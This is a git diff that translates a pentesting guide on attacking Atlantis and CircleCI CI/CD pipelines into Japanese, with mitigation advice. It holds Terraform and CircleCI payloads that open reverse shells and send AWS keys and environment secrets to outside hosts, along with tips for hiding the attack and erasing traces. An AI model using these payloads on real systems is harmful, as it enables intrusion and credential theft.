リソースの作成時に属性を主張する +- 意図しないリソース削除をキャッチする +- セキュリティリスクを防ぐ（例：安全なポートを公開すること） -You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). +[**ドキュメント**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works)で設定方法を確認できます。 -### Atlantis Commands - -[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis: +### Atlantisコマンド +[**ドキュメント**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis)では、Atlantisを実行するために使用できるオプションを見つけることができます： ```bash # Get help atlantis help @@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags] ## --verbose ## You can also add extra terraform options ``` - -### Attacks +### 攻撃 > [!WARNING] -> If during the exploitation you find this **error**: `Error: Error acquiring the state lock` - -You can fix it by running: +> もし攻撃中にこの**エラー**が表示された場合: `Error: Error acquiring the state lock` +次のコマンドを実行することで修正できます: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` +#### Atlantis plan RCE - 新しいPRでの設定変更 -#### Atlantis plan RCE - Config modification in new PR - -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**. - -You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file: +リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis plan`を実行できる場合**（または自動的に実行されるかもしれません）、**Atlantisサーバー内でRCEを実行できるようになります**。 +これは、[**Atlantisに外部データソースを読み込ませる**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)ことで実行できます。次のようなペイロードを`main.tf`ファイルに入れるだけです： ```json data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**ステルス攻撃** -**Stealthier Attack** - -You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +この攻撃を**よりステルス的に**実行するには、以下の提案に従ってください： +- rev shellをterraformファイルに直接追加する代わりに、rev shellを含む**外部リソースを読み込む**ことができます： ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` - You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**. +- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコード**を隠します。例えば、`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`のようにします。 +- **PRをmasterに作成する代わりに**、**2つのブランチ**（test1とtest2）を作成し、**一方からもう一方へのPRを作成します**。攻撃が完了したら、**PRとブランチを削除します**。 #### Atlantis plan Secrets Dump -You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file: - +`atlantis plan`（`terraform plan`）を実行することで、**terraformによって使用されるシークレットをダンプ**できます。terraformファイルに次のようなものを入れます： ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +#### Atlantis apply RCE - 新しいPRでの設定変更 -#### Atlantis apply RCE - Config modification in new PR +リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis apply`を実行できる場合、Atlantisサーバー内でRCEを実行できるようになります**。 -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**. +ただし、通常はいくつかの保護を回避する必要があります： -However, you will usually need to bypass some protections: - -- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed). - - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply` - - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) - -Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: +- **マージ可能**: この保護がAtlantisに設定されている場合、**PRがマージ可能な場合にのみ`atlantis apply`を実行できます**（これはブランチ保護を回避する必要があることを意味します）。 +- 潜在的な[**ブランチ保護の回避**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)を確認してください。 +- **承認済み**: この保護がAtlantisに設定されている場合、`atlantis apply`を実行する前に**他のユーザーがPRを承認する必要があります**。 +- デフォルトでは、[**Gitbotトークンを悪用してこの保護を回避できます**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)。 +悪意のあるTerraformファイルで**`terraform apply`を実行すること**は、[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を使用します。**\ +`main.tf`ファイルに以下のようなペイロードが含まれていることを確認する必要があります： ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` +**前の技術からの提案**に従って、この攻撃を**より隠密な方法**で実行します。 -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**. - -#### Terraform Param Injection - -When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like: +#### Terraform パラメータインジェクション +`atlantis plan` または `atlantis apply` を実行すると、terraform が内部で実行されます。atlantis から terraform にコマンドを渡すには、次のようにコメントします: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` +何かを渡すことができるのは、いくつかの保護を回避するのに役立つ可能性のあるenv変数です。terraform env varsを確認してください [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) -Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +#### カスタムワークフロー -#### Custom Workflow - -Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\ -This possibility was mentioned in a previous section: +`atlantis.yaml`ファイルに指定された**悪意のあるカスタムビルドコマンド**を実行します。Atlantisはプルリクエストブランチの`atlantis.yaml`ファイルを使用し、**master**のものではありません。\ +この可能性は前のセクションで言及されました： > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used. +> [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、ワークフローは各リポジトリの**`atlantis.yaml`**ファイルに**指定**できます。また、**`allowed_overrides`**が**ワークフロー**を**オーバーライドする**ために指定される必要がある可能性もあります。 > -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> これは基本的に**そのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与える**ことになります。 > > ```yaml > # atlantis.yaml @@ -286,99 +272,97 @@ This possibility was mentioned in a previous section: > - run: my custom apply command > ``` -#### Bypass plan/apply protections - -If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**. +#### plan/apply保護の回避 +[**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allowed_overrides`が`apply_requirements`を設定している場合、リポジトリは**plan/apply保護を変更して回避する**ことが可能です。 ```yaml repos: - - id: /.*/ - apply_requirements: [] +- id: /.*/ +apply_requirements: [] ``` - #### PR Hijacking -If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to. +もし誰かがあなたの有効なプルリクエストに**`atlantis plan/apply`**というコメントを送信すると、望まないタイミングでterraformが実行されます。 -Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE. +さらに、**新しいコミットがプッシュされたときに**すべてのPRを**再評価**するように**ブランチ保護**が設定されていない場合、誰かがterraform設定に**悪意のある設定**を書き込み（前のシナリオを確認）、`atlantis plan/apply`を実行してRCEを得ることができます。 -This is the **setting** in Github branch protections: +これがGithubブランチ保護の**設定**です： ![](<../images/image (216).png>) #### Webhook Secret -If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly. +もしあなたが使用されている**webhook secret**を**盗むことができた**場合、または**webhook secret**が使用されていない場合、あなたは**Atlantis webhook**を呼び出し、**atlantisコマンド**を直接実行することができます。 #### Bitbucket -Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs. +Bitbucket Cloudは**webhook secrets**を**サポートしていません**。これにより攻撃者が**Bitbucketからのリクエストを偽装**することが可能になります。BitbucketのIPのみを許可していることを確認してください。 -- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket. -- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos. -- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses). +- これは、**攻撃者**が**Bitbucketから来ているように見える偽のリクエストをAtlantisに送信**できることを意味します。 +- `--repo-allowlist`を指定している場合、彼らはそのリポジトリに関連するリクエストのみを偽装できるため、最も大きな被害はあなた自身のリポジトリでのplan/applyになります。 +- これを防ぐために、[BitbucketのIPアドレス](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)を許可リストに追加してください（Outbound IPv4 addressesを参照）。 ### Post-Exploitation -If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read: +もしサーバーにアクセスできた場合、または少なくともLFIを取得した場合、読むべき興味深いものがあります： -- `/home/atlantis/.git-credentials` Contains vcs access credentials -- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info -- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file - - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate -- `/proc/1/environ` Env variables -- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data) +- `/home/atlantis/.git-credentials` VCSアクセス資格情報を含む +- `/atlantis-data/atlantis.db` より多くの情報を含むVCSアクセス資格情報 +- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform状態ファイル +- 例: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate +- `/proc/1/environ` 環境変数 +- `/proc/[2-20]/cmdline` `atlantis server`のコマンドライン（機密データを含む可能性があります） ### Mitigations #### Don't Use On Public Repos -Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. +誰でも公共のプルリクエストにコメントできるため、すべてのセキュリティ対策が利用可能であっても、適切なセキュリティ設定の構成なしに公共のリポジトリでAtlantisを実行することは依然として危険です。 #### Don't Use `--allow-fork-prs` -If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. +公共のリポジトリで実行している場合（推奨されません、上記を参照）、`--allow-fork-prs`を設定すべきではありません（デフォルトはfalse）なぜなら、誰でも自分のフォークからあなたのリポジトリにプルリクエストを開くことができるからです。 #### `--repo-allowlist` -Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: +Atlantisは、`--repo-allowlist`フラグを介してwebhookを受け入れるリポジトリの許可リストを指定する必要があります。例えば： -- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` -- Your whole organization: `--repo-allowlist=github.com/runatlantis/*` -- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` -- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret. +- 特定のリポジトリ: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` +- あなたの組織全体: `--repo-allowlist=github.com/runatlantis/*` +- GitHub Enterpriseインストール内のすべてのリポジトリ: `--repo-allowlist=github.yourcompany.com/*` +- すべてのリポジトリ: `--repo-allowlist=*`。保護されたネットワーク内にいるときに便利ですが、webhook secretを設定しないと危険です。 -This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. +このフラグは、あなたのAtlantisインストールがあなたが制御していないリポジトリで使用されないことを保証します。詳細については`atlantis server --help`を参照してください。 #### Protect Terraform Planning -If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. +攻撃者が悪意のあるTerraformコードを含むプルリクエストを送信することが脅威モデルに含まれている場合、`terraform apply`の承認だけでは不十分であることを認識する必要があります。`terraform plan`で悪意のあるコードを実行することが可能であり、[`external`データソース](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)を使用するか、悪意のあるプロバイダーを指定することができます。このコードは、あなたの資格情報を外部に流出させる可能性があります。 -To prevent this, you could: +これを防ぐために、次のことができます： -1. Bake providers into the Atlantis image or host and deny egress in production. -2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. -3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. +1. プロバイダーをAtlantisイメージに組み込むか、ホストして本番環境での出口を拒否します。 +2. プロバイダー登録プロトコルを内部で実装し、公共の出口を拒否します。そうすれば、誰がレジストリへの書き込みアクセスを持つかを制御できます。 +3. [サーバー側リポジトリ設定](https://www.runatlantis.io/docs/server-side-repo-config.html)の`plan`ステップを修正して、許可されていないプロバイダーやデータソース、許可されていないユーザーからのPRの使用を検証します。この時点で追加の検証を追加することもできます。例えば、`plan`を続行する前にPRに「いいね」を要求することです。Conftestが役立つかもしれません。 #### Webhook Secrets -Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). +Atlantisは、`$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`環境変数を介してWebhook secretsを設定して実行する必要があります。`--repo-allowlist`フラグが設定されていても、webhook secretがないと、攻撃者は許可リストに載っているリポジトリを装ってAtlantisにリクエストを送信することができます。Webhook secretsは、webhookリクエストが実際にあなたのVCSプロバイダー（GitHubまたはGitLab）から来ていることを保証します。 -If you are using Azure DevOps, instead of webhook secrets add a basic username and password. +Azure DevOpsを使用している場合、webhook secretsの代わりに基本的なユーザー名とパスワードを追加してください。 #### Azure DevOps Basic Authentication -Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. +Azure DevOpsは、すべてのwebhookイベントで基本認証ヘッダーを送信することをサポートしています。これには、webhookの場所にHTTPS URLを使用する必要があります。 #### SSL/HTTPS -If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. +webhook secretsを使用しているが、トラフィックがHTTPの場合、webhook secretsが盗まれる可能性があります。`--ssl-cert-file`および`--ssl-key-file`フラグを使用してSSL/HTTPSを有効にしてください。 #### Enable Authentication on Atlantis Web Server -It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. +Webサービスでの認証を有効にすることを強く推奨します。`--web-basic-auth=true`を使用してBasicAuthを有効にし、`--web-username=yourUsername`および`--web-password=yourPassword`フラグを使用してユーザー名とパスワードを設定します。 -You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. +これらを環境変数`ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername`および`ATLANTIS_WEB_PASSWORD=yourPassword`として渡すこともできます。 ### References @@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 8b8a1fea1..1205d399f 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -1,259 +1,235 @@ -# CircleCI Security +# CircleCI セキュリティ {{#include ../banners/hacktricks-training.md}} -### Basic Information +### 基本情報 -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example. +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) は、コードに対して何をいつ行うかを示す **テンプレート** を定義できる継続的インテグレーションプラットフォームです。このようにして、例えば **リポジトリのマスターブランチ** から直接 **テスト** や **デプロイ** を **自動化** できます。 -### Permissions +### 権限 -**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\ -In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...). +**CircleCI** は、ログインする **アカウント** に関連する github および bitbucket から **権限を継承** します。\ +私のテストでは、**github のリポジトリに対する書き込み権限** があれば、**CircleCI でプロジェクト設定を管理** できることを確認しました（新しい ssh キーの設定、プロジェクト API キーの取得、新しい CircleCI 設定での新しいブランチの作成など）。 -However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**. +ただし、**CircleCI プロジェクトにリポジトリを変換** するには、**リポジトリ管理者** である必要があります。 -### Env Variables & Secrets +### 環境変数と秘密情報 -According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow. +[**ドキュメント**](https://circleci.com/docs/2.0/env-vars/) によると、ワークフロー内で **環境変数に値をロードする** 方法はいくつかあります。 -#### Built-in env variables +#### 組み込み環境変数 -Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`. +CircleCI によって実行されるすべてのコンテナには、`CIRCLE_PR_USERNAME`、`CIRCLE_PROJECT_REPONAME`、または `CIRCLE_USERNAME` のような [**ドキュメントに定義された特定の環境変数**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) が常に存在します。 -#### Clear text - -You can declare them in clear text inside a **command**: +#### プレーンテキスト +**コマンド** 内でプレーンテキストとして宣言できます: ```yaml - run: - name: "set and echo" - command: | - SECRET="A secret" - echo $SECRET +name: "set and echo" +command: | +SECRET="A secret" +echo $SECRET ``` - -You can declare them in clear text inside the **run environment**: - +**実行環境**内に明示的に宣言できます: ```yaml - run: - name: "set and echo" - command: echo $SECRET - environment: - SECRET: A secret +name: "set and echo" +command: echo $SECRET +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **build-job environment**: - +**build-job 環境**内に明示的に宣言できます： ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **environment of a container**: - +**コンテナの環境**内に明示的に宣言できます： ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` +#### プロジェクトの秘密 -#### Project Secrets - -These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\ -You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ +これらは**秘密**であり、**プロジェクト**（**任意のブランチ**）によってのみ**アクセス可能**です。\ +これらは _https://app.circleci.com/settings/project/github/\/\/environment-variables_ に**宣言されている**のを見ることができます。 ![](<../images/image (129).png>) > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. +> "**変数のインポート**" 機能は、**他のプロジェクトから変数をインポート**することを可能にします。 -#### Context Secrets +#### コンテキストの秘密 -These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here: +これらは**組織全体**の秘密です。**デフォルトでは、任意のリポジトリ**がここに保存された**任意の秘密**に**アクセスできる**ようになります： ![](<../images/image (123).png>) > [!TIP] -> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\ -> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people. +> ただし、異なるグループ（すべてのメンバーの代わりに）を**選択して特定の人々にのみ秘密へのアクセスを与える**ことができます。\ +> これは現在、**秘密のセキュリティを向上させる**ための最良の方法の1つであり、すべての人がアクセスできるのではなく、一部の人だけがアクセスできるようにします。 -### Attacks +### 攻撃 -#### Search Clear Text Secrets +#### プレーンテキストの秘密を検索 -If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there. +**VCS**（例えばgithub）に**アクセス**できる場合、**各リポジトリの各ブランチ**の `.circleci/config.yml` ファイルをチェックし、そこに保存されている潜在的な**プレーンテキストの秘密**を**検索**します。 -#### Secret Env Vars & Context enumeration +#### 秘密の環境変数とコンテキストの列挙 -Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_. +コードをチェックすることで、各 `.circleci/config.yml` ファイルで**使用されているすべての秘密の名前**を見つけることができます。また、これらのファイルから**コンテキスト名**を取得するか、ウェブコンソールで確認できます： _https://app.circleci.com/settings/organization/github/\/contexts_。 -#### Exfiltrate Project secrets +#### プロジェクトの秘密を抽出 > [!WARNING] -> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_). +> **すべての**プロジェクトおよびコンテキストの**秘密**を**抽出する**には、**全体のgithub組織内の**1つのリポジトリに**書き込み**アクセスを持っているだけで済みます（_そしてあなたのアカウントはコンテキストにアクセスできる必要がありますが、デフォルトでは誰でもすべてのコンテキストにアクセスできます_）。 > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**. - -All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**: +> "**変数のインポート**" 機能は、**他のプロジェクトから変数をインポート**することを可能にします。したがって、攻撃者は**すべてのリポジトリからすべてのプロジェクト変数をインポート**し、その後**すべてを一緒に抽出**することができます。 +すべてのプロジェクトの秘密は常にジョブの環境に設定されているため、envを呼び出してbase64で難読化するだけで、**ワークフローのウェブログコンソール**に秘密を抽出できます： ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env +exfil-env-workflow: +jobs: +- exfil-env ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +もし**ウェブコンソールにアクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合は、**毎分トリガーされるワークフローを作成**し、**外部アドレスに秘密を流出させる**ことができます: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env ``` +#### コンテキストシークレットの抽出 -#### Exfiltrate Context Secrets - -You need to **specify the context name** (this will also exfiltrate the project secrets): - +**コンテキスト名を指定する必要があります**（これによりプロジェクトシークレットも抽出されます）： ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +jobs: +- exfil-env: +context: Test-Context ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +もし**ウェブコンソールにアクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合、**毎分トリガーされるワークフローを修正**し、**外部アドレスに秘密を流出させる**ことができます: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env: +context: Test-Context ``` - > [!WARNING] -> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**. +> 新しい `.circleci/config.yml` をリポジトリに作成するだけでは **circleci ビルドをトリガーするには不十分です**。**circleci コンソールでプロジェクトとして有効にする必要があります**。 -#### Escape to Cloud +#### クラウドへのエスケープ -**CircleCI** gives you the option to run **your builds in their machines or in your own**.\ -By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**. - -Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions): +**CircleCI** は **ビルドを自分のマシンまたは彼らのマシンで実行するオプションを提供します**。\ +デフォルトでは、彼らのマシンは GCP にあり、最初は関連する情報を見つけることはできません。しかし、もし被害者が **自分のマシン（潜在的にはクラウド環境）でタスクを実行している場合**、**興味深い情報が含まれたクラウドメタデータエンドポイントを見つけるかもしれません**。 +前の例ではすべてが docker コンテナ内で起動されましたが、**VM マシンを起動するように要求することもできます**（異なるクラウド権限を持つ可能性があります）： ```yaml jobs: - exfil-env: - 